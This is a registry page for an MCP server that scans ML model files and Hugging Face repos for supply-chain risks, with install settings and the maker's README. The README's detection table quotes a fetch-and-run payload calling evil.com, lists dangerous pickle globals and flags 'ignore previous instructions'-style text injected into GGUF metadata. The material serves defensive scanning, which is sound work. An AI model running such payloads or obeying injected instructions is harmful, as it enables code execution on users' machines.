Spec Driven Development
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
Description from the maker (original English)
Scans ML model files (PyTorch, joblib, NumPy, GGUF, TensorFlow…) and HF repos for supply-chain risks
These three are never merged into one score: opinions, measurements and popularity are different things.
We have not written a plain-language summary for this one yet. Below are the facts we read from the registry.
Pick the AI app you use, then copy the settings.
You need
Which app do you use?
Pick your app above. We remember it, so next time the button says “Install in …”.
Open Claude Desktop → Settings → Developer → Edit Config, and paste this into claude_desktop_config.json
{
"mcpServers": {
"model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}Run this in your terminal
claude mcp add model-scanner -- npx -y @guardbee/mcp-model-scannerPaste into .cursor/mcp.json in your project, or ~/.cursor/mcp.json
{
"mcpServers": {
"model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.
Paste into .vscode/mcp.json in your project
{
"servers": {
"model-scanner": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.
This one runs on your computer, and ChatGPT can only connect to servers on the internet. Pick another app.
Your choice stays on this device in a cookie; no account needed.
These settings are generated from the maker’s registry entry. If the README says otherwise, follow the README.
Runs on your computer; the tool list appears in your AI app after you install it.
We check information anyone can see; we have not read the code. Checks that do not apply are left out of the count. · Checked Nov 6, 2026
The registry name was verified with the GitHub account GuardBee, which owns the repo
We have not read this repo from GitHub yet
We have not read this repo from GitHub yet
This one runs on your computer; there is no internet endpoint
Runs on your computer and uses local settings instead
Runs on your computer; we can only read tool lists from internet endpoints
Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.
It passed 1 of 1 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.
The registry does not list a required key, though some servers ask you to sign in on first use.
It runs on your computer. Your AI app starts it when needed, and data does not pass through the maker’s servers (unless it calls an online service itself).
The GitHub repo last changed –, and the latest version (0.4.0) reached the registry 7 days ago.
Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. You also need Node.js on your computer.
In the same category: Spec Driven Development, Remote Desktop Commander, Symantec Cloud DLP AIops
Servers in the same category from other makers, sorted by stars.
Reading a card:★ GitHub starsiThree pillars: reviews · checks · usageiUpdated = latest version published to the registryi
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.
Governed Symantec Cloud DLP — 14 MCP tools, read-only with audit.
Copied from the maker’s repo as written. PopNx MCP has not reviewed or endorsed it. HTML, images and scripts are removed. Links lead off this site.
🇬🇧 English | 🇹🇷 Türkçe | 🇨🇳 中文 | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇧🇷 Português | 🇪🇸 Español | 🇩🇪 Deutsch
An MCP (Model Context Protocol) server that scans ML model files for supply-chain risks — the file itself, not the code that loads it.
Most "AI security" tooling looks at your integration code or the prompts flowing through it. This package looks at the artifact you (or a teammate, or a pip install) downloaded from Hugging Face, a registry, or an S3 bucket — or at a Hugging Face repo directly, pinned to a commit. A .pt/.pth/.pkl/.joblib checkpoint is a pickle file, and unpickling isn't just data deserialization — it can call arbitrary Python code the moment the file is loaded (torch.load(), pickle.load(), etc). A malicious checkpoint is a real, well-documented attack vector, not a hypothetical one.
Telemetry is off by default. With
GUARDBEE_TELEMETRY=1it sends the server, tool, success, duration and short parameter values such as a file path; longer strings and fields likecontent,tokenorpasswordare replaced with a placeholder. See@guardbee/mcp-telemetry.
Claude ──► model-scanner ──► Your model files
│ ├─ .pt / .pth / .ckpt → PyTorch zip container: extract data.pkl, walk the pickle ├─ .pkl / .pickle / .bin / .dill → raw pickle stream (dill gadgets included) ├─ .joblib / .jbl → pickle + the array bytes and nested pickles joblib embeds ├─ .npy / .npz → object arrays (pickled data), pickles disguised as NumPy ├─ .safetensors → header structure + disguised-binary check ├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE (HDF5 and Keras 3 zip) ├─ .onnx → external_data path-traversal heuristic ├─ .gguf → header/tensor bounds, chat-template SSTI and injected text ├─ saved_model.pb / .pb / .pbtxt / .tflite → graph ops that touch files or Python └─ hf://owner/repo@rev → every model file of a Hugging Face repo at one commit
Pickle streams are bytecode for a tiny stack VM. A GLOBAL/STACK_GLOBAL opcode names any importable Python object; the very next opcodes typically call it. There is nothing stopping a crafted pickle from naming os.system or subprocess.Popen instead of a tensor-rebuilding function — and pickle.load()/torch.load() will happily resolve and invoke it. This is the same technique tools like picklescan/fickling/Hugging Face's Picklescan integration are built around.
This package implements a from-scratch pickle machine (protocols 0–5) rather than shelling out to Python or using a regex. It walks the opcode stream byte by byte and tracks the stack and memo without calling anything, so a protocol 4+ STACK_GLOBAL resolves to the module and name actually on the stack, including strings fetched back from the memo, as NumPy 2 pickles do. A regex over raw bytes would both miss and misfire constantly.
joblib needs the same machine: joblib.dump writes each NumPy array's raw bytes (or, for object arrays, a whole nested pickle) right after the array's NumpyArrayWrapper. The scanner reads the wrapper's shape and dtype from the stack, skips exactly that many bytes, and checks the nested pickles too.
Every GLOBAL/STACK_GLOBAL/INST reference found is checked against:
os, subprocess, socket, builtins.eval, ctypes, …) → reported as critical/highnumpy, torch, sklearn, collections, …) → silently safe, no noiseFor PyTorch's default zip-based checkpoint format, the scanner reads the ZIP central directory directly off disk (with Zip64 support) to locate and extract just the small data.pkl metadata entry — it never loads a multi-gigabyte checkpoint fully into memory.
data.pkl without loading the full checkpointallow_pickle=True) and plain pickles renamed to a NumPy extension.safetensors extension.h5, Keras 3 .keras zips and SavedModel keras_metadata.pb.pb/.pbtxt) and TFLite Flex ops that read or write files, call Python or send tensors to a debug URLscan_hf_repo / scan hf://owner/repo@revision resolves the revision to a commit and scans every model file from itguardbee.yml{
"mcpServers": { "guardbee-model-scanner": { "command": "npx", "args": ["-y", "@guardbee/mcp-model-scanner"] } } }
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif
npx @guardbee/mcp-model-scanner scan hf://openai-community/gpt2@607a30d783dfa663caf39e06633721c8d4cfcd7e
In repo mode the revision is resolved to a commit sha and every file is read from that commit, so the result describes a fixed snapshot; findings point at hf://owner/repo@sha/path. Files up to 256 MB are downloaded whole. Larger ones are checked from their first 64 MB, plus the last 64 MB for zip containers (the central directory), which holds every header, pickle stream and tensor table the checks read.
| Tool | Description |
|---|---|
scan_file | Scans a single model file |
scan_directory | Recursively scans a directory of model files (a SavedModel through its saved_model.pb) |
scan_hf_repo | Scans every model file of a Hugging Face model repo at a pinned commit |
list_patterns | Lists the dangerous-global catalog by risk category, and the TensorFlow ops checked |
| Format | Check | Severity | Example | |
|---|---|---|---|---|
| pickle / PyTorch | Reference to os, posix, nt, subprocess, socket, ctypes, runpy, pty.spawn, platform.popen, commands | critical | `os.system('curl evil.com/x \ | sh')` |
| pickle / PyTorch | builtins.eval/exec/compile/__import__, pickle.loads, marshal.loads | critical | recursive/nested payload, or a direct eval | |
| pickle / PyTorch | builtins.getattr/open, shutil.*, importlib.*, requests.*, webbrowser.open, urllib*.urlopen | high | exfiltration, SSRF, file read/write | |
| safetensors | Header starts with a pickle/zip signature instead of a length | critical | a .pkl renamed to .safetensors | |
| safetensors | Tensor data_offsets exceed the actual data section | high | a parser reading out-of-bounds | |
| safetensors | Invalid/oversized header length, non-JSON header | high | corrupt or adversarially crafted header | |
| Keras .h5/.keras/SavedModel | class_name: "Lambda" in the model config | critical | marshalled-function RCE on load | |
| ONNX | external_data location containing .. | high | path traversal to an arbitrary file | |
| dill | dill._dill._create_code/_create_function/_eval_repr | critical | a function rebuilt from bytecode and called during load | |
| dill | dill._dill._import_module/_get_attr/_create_filehandle | high | reaching os.system without naming os | |
| joblib | any of the pickle rules, in the main stream or a nested object-array pickle | as the rule | a payload hidden after a real array | |
| NumPy | object dtype; a pickle with a .npy extension | medium / high | np.load(..., allow_pickle=True) unpickles it | |
| GGUF | chat template reaching Python internals (__class__, __globals__, …) | critical | Jinja sandbox escape (CVE-2024-34359) | |
| GGUF | hidden Unicode or "ignore previous instructions"-style text in metadata | high | instructions injected into every conversation | |
| GGUF | counts, lengths, dimensions or tensor bounds inconsistent with the file | high | heap overflow in an unpatched loader | |
| TensorFlow | WriteFile / ReadFile / PyFunc / file datasets / PrintV2 to file:// | critical–medium | a graph that touches the serving host |
Full dangerous-global catalog: run the list_patterns tool, or see src/dangerousGlobals.ts.
| Rule ID | Severity |
|---|---|
pickle_dangerous_global_dill__dill_*, pickle_dangerous_global_dill_dill_* | critical / high |
joblib_partial_scan, joblib_compressed_unsupported, joblib_compressed_too_large, joblib_decompress_failed, joblib_unrecognized | low / medium |
numpy_object_array | medium |
numpy_disguised_pickle | high |
numpy_bad_header, numpy_npz_unreadable | medium |
numpy_npz_entry_unreadable, numpy_npz_partial_scan | low |
gguf_chat_template_ssti | critical |
gguf_metadata_injected_instructions, gguf_metadata_hidden_characters, gguf_malformed_header, gguf_tensor_out_of_bounds, gguf_bad_magic | high |
gguf_duplicate_tensor, gguf_tensor_misaligned | medium |
| gguf_chat_template_url, gguf_unknown_tensor_type, `gguf_not_pa
Only the beginning is shown; read the rest in the repo